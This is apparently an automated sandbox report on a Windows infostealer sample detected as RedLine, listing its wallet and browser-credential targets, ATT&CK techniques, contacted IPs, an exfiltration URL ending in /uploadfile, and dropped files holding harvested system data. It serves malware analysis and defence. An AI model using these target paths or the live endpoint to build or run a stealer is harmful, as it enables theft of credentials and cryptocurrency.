Code function: 0_2_001A9F7F GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_001A9F7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Found many strings related to Crypto-Wallets (likely being stolen)

Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7152, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	131 Windows Management Instrumentation	Path Interception	311 Process Injection	1 Masquerading	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	1 Input Capture	151 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	311 Process Injection	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	54 System Information Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	57%	ReversingLabs	Win32.Trojan.RedLine
file.exe	56%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1305142
file.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://ip-api.com4	0%	URL Reputation	safe
http://ip-api.com4	0%	URL Reputation	safe
http://subca.ocsp-certum.com05	0%	URL Reputation	safe
http://subca.ocsp-certum.com02	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
http://85.192.63.194:50014	0%	Avira URL Cloud	safe
http://85.192.63.194:5001	0%	Avira URL Cloud	safe
http://85.192.63.194:5001/uploadfile	0%	Avira URL Cloud	safe
http://85.192.63.194:5001	2%	Virustotal		Browse
http://85.192.63.194:5001/uploadfile	7%	Virustotal		Browse
http://85.192.63	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/json	false		high
http://85.192.63.194:5001/uploadfile	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	false		high
http://crl.certum.pl/ctsca2021.crl0o	file.exe	false		high
https://duckduckgo.com/ac/?q=	tmp7F48.tmp.dat.2.dr	false		high
http://repository.certum.pl/ctnca.cer09	file.exe	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	false		high
http://crl.certum.pl/ctnca.crl0k	file.exe	false		high
https://search.yahoo.com?fr=crmas_sfpf	InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp7F48.tmp.dat.2.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	false		high
http://85.192.63.194:50014	InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com4	InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmp7F48.tmp.dat.2.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	false		high
http://85.192.63	InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://repository.certum.pl/ctsca2021.cer0	file.exe	false		high
http://85.192.63.194:5001	InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com05	file.exe	false	URL Reputation: safe	unknown
http://subca.ocsp-certum.com02	file.exe	false	URL Reputation: safe	unknown
http://subca.ocsp-certum.com01	file.exe	false	URL Reputation: safe	unknown
http://crl.certum.pl/ctnca2.crl0l	file.exe	false		high
http://repository.certum.pl/ctnca2.cer09	file.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp7F48.tmp.dat.2.dr	false		high
http://www.certum.pl/CPS0	file.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
193.233.232.195	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
85.192.63.194	unknown	Russian Federation	47711	LINEGROUP-ASRU	false

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	874613
Start date and time:	2023-05-24 14:08:45 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/12@1/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.8% (good quality ratio 93.6%) Quality average: 76.5% Quality standard deviation: 29.6%
HCA Information:	Successful, ratio: 98% Number of executed functions: 108 Number of non-executed functions: 46
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:10:30	API Interceptor	8x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	1684920551ea8204bc6deacfb8b581a1ec6249e9488b3fd21fef67ff4e7514a570b18027fd948.dat-decoded.exe	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	ip-api.com/json/
	68850.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	00912938pdf.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	purchase_order.hta	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query,country
	purchase_order.vbs	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query,country
	file.exe	Get hash	malicious	BlackGuard	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	BlackGuard	Browse	ip-api.com/json/
	snake.exe	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query,country
	wLQkz3Iiof.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/?fields=hosting
	chrome-upd13111.apk	Get hash	malicious	Unknown	Browse	www.ip-api.com/json
	05212023840.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Request_For_Quotation.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Payment_Notification.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Scan00518.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	snake.exe	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query,country
	version_v319.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/?fields=hosting
	testing2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Phoenix.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting
	testing2protected.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	SpecSpoofer.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	1684920551ea8204bc6deacfb8b581a1ec6249e9488b3fd21fef67ff4e7514a570b18027fd948.dat-decoded.exe	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	208.95.112.1
	68850.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	208.95.112.1
	snake.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	208.95.112.1
	00912938pdf.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	purchase_order.hta	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	purchase_order.vbs	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	BlackGuard	Browse	208.95.112.1
	file.exe	Get hash	malicious	BlackGuard	Browse	208.95.112.1
	PATitleRequest .html	Get hash	malicious	HTMLPhisher	Browse	193.234.225.88
	snake.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	wLQkz3Iiof.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	05212023840.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Request_For_Quotation.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Payment_Notification.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Scan00518.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	snake.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	version_v319.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	testing2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	qP7dcYYdWE.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	193.233.233.140
	generator707.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Stealc	Browse	193.233.233.140
	game225.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader	Browse	193.233.233.140
	mixar.exe	Get hash	malicious	Stealc, Vidar	Browse	193.233.134.93
	muqiOwEL5R.js	Get hash	malicious	Unknown	Browse	193.233.233.92
	https://1drv.ms/w/s!Am6waQEdILyxdeFdmy_wAfO0KXw	Get hash	malicious	Unknown	Browse	193.233.134.79
	https://onedrive.live.com/view.aspx?resid=A29DCD3C017058A5!127&ithint=file,docx&wdo=2&authkey=!AKT830h4cyyfzKs	Get hash	malicious	Unknown	Browse	193.233.134.79
	https://bit.ly/3Mi8yQa	Get hash	malicious	Unknown	Browse	193.233.134.79
	http://m6937g.qudara.cc	Get hash	malicious	Unknown	Browse	193.233.134.79
	startup.dll.exe	Get hash	malicious	SmokeLoader	Browse	193.233.134.86
	http://op9v35.vewerta.cc/34546de4235m342356	Get hash	malicious	Unknown	Browse	193.233.134.79
	Stemix.exe	Get hash	malicious	Stealc, Vidar	Browse	193.233.134.93
	doc8208932_6605640_1.js	Get hash	malicious	Unknown	Browse	193.233.233.92
	doc8208932_6605640_1.js	Get hash	malicious	Unknown	Browse	193.233.233.92
	https://bit.ly/416LmK1	Get hash	malicious	Unknown	Browse	193.233.134.79
	qnxkc5slHC.exe	Get hash	malicious	SmokeLoader	Browse	193.233.134.80
	toolspub1.exe	Get hash	malicious	SmokeLoader	Browse	193.233.134.80
	cjDX3dEa6r.exe	Get hash	malicious	SmokeLoader	Browse	193.233.134.80
	orwpdQFD5v.exe	Get hash	malicious	SmokeLoader	Browse	193.233.134.80
	yuegj44pTc.exe	Get hash	malicious	SmokeLoader	Browse	193.233.134.80
TUT-ASUS	1684920551ea8204bc6deacfb8b581a1ec6249e9488b3fd21fef67ff4e7514a570b18027fd948.dat-decoded.exe	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	208.95.112.1
	68850.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	208.95.112.1
	snake.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	00912938pdf.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	purchase_order.hta	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	purchase_order.vbs	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	BlackGuard	Browse	208.95.112.1
	file.exe	Get hash	malicious	BlackGuard	Browse	208.95.112.1
	snake.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	wLQkz3Iiof.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	chrome-upd13111.apk	Get hash	malicious	Unknown	Browse	208.95.112.1
	05212023840.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Request_For_Quotation.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Payment_Notification.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Scan00518.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	snake.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	version_v319.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	testing2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Phoenix.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1537
Entropy (8bit):	5.365372657477488
Encrypted:	false
SSDEEP:	48:MxHKXwYHKhQnoPtHoxHhAHKzv7HG1qHjHK9HK+HKoHK:iqXwYqhQnoPtIxHeqzjmwDq9q+qoq
MD5:	B7AEB06595355BCF5CC32F01B9BCCCAE
SHA1:	A1336BBBF39EAFF0182ADEBE6619082F3C48D9DC
SHA-256:	D7AFE14B632165CF0CE2AB27840624FDF3F5D3E4D52F0D48990A82E25120BECB
SHA-512:	9F09D98517FEC9EAFE95328644A90692C2699A27D04DF7C382443FB0C2A63E5941A34EFEA481B85949B03531D394874AC8E95C0752B5AED9AB6523EF467C76EA
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKe

C:\Users\user\AppData\Local\Temp\tmp7C29.tmp.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7E4D.tmp.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4393511334109407
Encrypted:	false
SSDEEP:	24:TLqlj1czkwubXYFpFNYcw+6UwcYzHrSl:TyxcYwuLopFgU1YzLSl
MD5:	8C31C5487A97BBE73711C5E20600C1F6
SHA1:	D4D6B04226D8FFC894749B3963E7DB7068D6D773
SHA-256:	A1326E74262F4B37628F2E712EC077F499B113181A1E937E752D046E43F1689A
SHA-512:	394391350524B994504F4E748CCD5C3FA8EF980AED850A5A60F09250E8261AC8E300657CBB1DBF305729637BC0E1F043E57799E2A35C82EEA3825CE5C9E7051D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7F48.tmp.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2889923589460437
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJP/6oVuss8Ewn7PrH944:QS/inXrVuss8Ewn7b944
MD5:	7901DD9DF50A993306401B7360977746
SHA1:	E5BA33E47A3A76CC009EC1D63C5D1A810BE40521
SHA-256:	1019C8ADA4DA9DEF665F59DB191CA3A613F954C12813BE5907E1F5CB91C09BE9
SHA-512:	90C785D22D0D7F5DA90D52B14010719A5554BB5A7F0029C3F4E11A97AD72A7A600D846174C7B40D47D24B0995CDBAC21E255EC63AC9C07CF6E106572EA181DD5
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2.zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	88650
Entropy (8bit):	7.995845561610413
Encrypted:	true
SSDEEP:	1536:j8+sJ5f4RXqdWE0p5k3AmGVqCBueq79qQvvf1vCQr9auHNA4hEkC6m3:j8+sT4X8AmGdw7QYfxJa4A4uT6m3
MD5:	D7F030C63533E519BCD35BA57B017B7C
SHA1:	C9C72663515EA4224415F1ECFBEEEE159FA5CD7B
SHA-256:	E0C0F307035386D6191A95CCAF4E418CFFCA0F604D026993790C9FBB1E719D9D
SHA-512:	0EED9BEFBC1009D8E366D901A49250169C2008768DEB1779C15A1CEC34110AB66E6AADA0BC6C3E2750D928CEB92A40EFB0BA0DBF739CA821EB3C9E9E9FCFA86E
Malicious:	false
Preview:	PK........:q.V.1Y.h...........Information.txteQAN.0...+....mR;....)..-.-.)...q.E.T.#(...\|....s@B ....x.3~.U..te.0...Y...<....j..G...R.\|.7Vo.!...$F..ce....V..F.....+T..Y.G....../..S{.....s..af+.$...ua&..;...........0...c.{.. f.1A.....{.W.o3..[...<.z..]a'..A..]L.-..U...l%pj.;....U..y7F?.$!.3....'.0n..x./...8..d4..!,.....(..KD1."....N.nu~...V.B..#....5.)[....^..t._.....2?...Y."{sz.7....6.oPK........Cq.Vh.......T......Processes.txt.KS.H...\|.".{!TOI.h..v.5C.... ...7..H....[../IX.g_........,.....g..a.:z.......C..yp~{~\|xz<.......\...l&....([e....z..........._......r>.....v.oE.P.g..'.<.........o...../.......Svs.......o.....O....O.?O...(......VW_.>Mn..F..n.>.v.Q..."V.6:.,..{....(J..UQD.........Z......=g........X.3._ .).i..f.IV..8=.x.W.8...-R6..'+..\........<M]..\|Ys.....(...2..`R.#...4.].>{\|L. +H.U.8.Y{.....~.2P.f6.V.^.W..X...ML...z..`y......x-3T(D....6'"O.PNq .S;.`.d..yzKG.v.)$=.r.....m>..'QQKD.WYA.i..Y.G/...+pzUf..h. ...... .v.oB...8.h. Gg.<B8.v.xv..

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Information.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	473
Entropy (8bit):	5.556871807242889
Encrypted:	false
SSDEEP:	6:0MQaSiiyRo1j0+4BjeGBf3tUA7lx2Idvse4vzWYumZrZYCRViA7bvFIpsUh8Nn:0MQ4DiYxkJAP2Ut4qYhZYKh8Bh8N
MD5:	D510C02C0E3D3E1EEA2047FB36FC648E
SHA1:	637A1DCA445EF319D46645C1D56A2D73EABE4450
SHA-256:	8584D4B4D64141BFD7CDDAEAAB6F5327BC179288F0205B52DBED7F918A566FA5
SHA-512:	1F826EB53C70B53A1A15859DDF3DB37B4A56A10A808A5EF178D43A11374EB88A1AD4902DB69869460F01516FADD142AEAF784B0337280E27279BEFE607DABB12
Malicious:	false
Preview:	[Location].IP: 84.17.52.45.Country: CH.City: Zurich.Zip: 8040..[General].Username: user.PC: 305090.IP: 84.17.52.45. Country: CH.System: Windows 10 Pro (64 Bit).Language: .... en-US.Date: 2023-05-24 14:09:46.TimeZone: Pacific Daylight Time (-07:00:00)..[Hardwares].CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: 6GB5NFMW.RAM: 4095MB.SCREEN: 1280x1024..[Anti-Viruses].Windows Defender...[Build].Version: 1.3.2.ID: ZR5U5KaLlZp88pLZ3Kd1rQ==.Date: 2023-05-25 00:09:46

C:\Users\user\AppData\Local\analworker\user@305090_en-US_2023_05_25_00_09_46@v1.3.2\Processes.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text
